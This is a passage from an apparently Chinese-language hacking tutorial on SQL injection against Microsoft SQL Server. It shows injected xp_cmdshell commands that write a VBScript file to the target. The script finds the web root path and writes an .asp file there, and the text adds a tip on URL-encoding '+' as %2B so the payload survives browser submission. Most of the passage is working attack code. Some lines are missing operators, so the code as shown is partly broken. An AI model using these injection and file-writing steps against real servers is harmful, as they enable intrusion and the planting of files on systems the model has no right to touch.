.....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;--
.....xp_cmdshell ’echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs’
;--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------cut here-------------------------------------
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
两句提交时会出错
于是我们想到了加号,和&的功能相同
还有就是写点什么东西到dd.asp呢?写入pa,哈哈
哈哈,改成了
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
因为用浏览器提交时 号被转换成了空格,所以在提交的时候还应该把变成%2B,好了,应该可以了,如下
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------cut here--------------------------------------